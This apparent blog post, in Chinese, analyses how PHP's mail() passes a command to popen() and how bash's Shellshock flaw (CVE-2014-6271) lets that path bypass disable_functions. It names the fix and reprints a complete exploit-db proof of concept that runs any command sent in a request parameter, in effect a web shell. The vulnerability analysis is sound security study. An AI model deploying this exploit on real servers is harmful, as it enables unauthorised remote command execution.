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PHP Execute Command Bypass Disable_functions
先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c
236行：
char *sendmail_path = INI_STR("sendmail_path");char *sendmail_cmd = NULL;从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的：
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").;sendmail_path =
注释中可以看到，send_mail默认值为"sendmail -t -i".
extra_cmd（用户传入的一些额外参数）存在的时候，调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下：
if (!sendmail_path) {#if (defined PHP_WIN32 || defined NETWARE) /* handle old style win smtp sending */ if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) { if (tsm_errmsg) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg); efree(tsm_errmsg); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err)); } MAIL_RET(0); } MAIL_RET(1);#else MAIL_RET(0);#endif } if (extra_cmd != NULL) { spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); } else { sendmail_cmd = sendmail_path; }
之后执行：
#ifdef PHP_WIN32 sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);#else /* Since popen() doesn‘t indicate if the internal fork() doesn‘t work * (e.g. the shell can‘t be executed) we explicitly set it to 0 to be * sure we don‘t catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd, "w");#endif
将sendmail_cmd丢给popen执行。
如果系统默认sh是bash，popen就会丢给bash执行。而之前的bash破壳（CVE-2014-6271）漏洞，直接导致我们可以利用mail()函数执行任意命令，绕过disable_functions。
影响版本：php 各版本
修复方法：修复CVE-2014-6271
给出POC（http://www.exploit-db.com/exploits/35146/）如下：
<?php# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)# Google Dork: none# Date: 10/31/2014# Exploit Author: Ryan King (Starfall)# Vendor Homepage: http://php.net# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror# Version: 5.* (tested on 5.6.2)# Tested on: Debian 7 and CentOS 5 and 6# CVE: CVE-2014-6271function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variableswhose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variablesthat // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, // PHP will let the user modify ANY environment variable! mail("a@127.0.0.1","","","","-bv"); // -bv so we don‘t actuallysend any mail $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln.";}echo shellshock($_REQUEST["cmd"]);?>
PHP Execute Command Bypass Disable_functions
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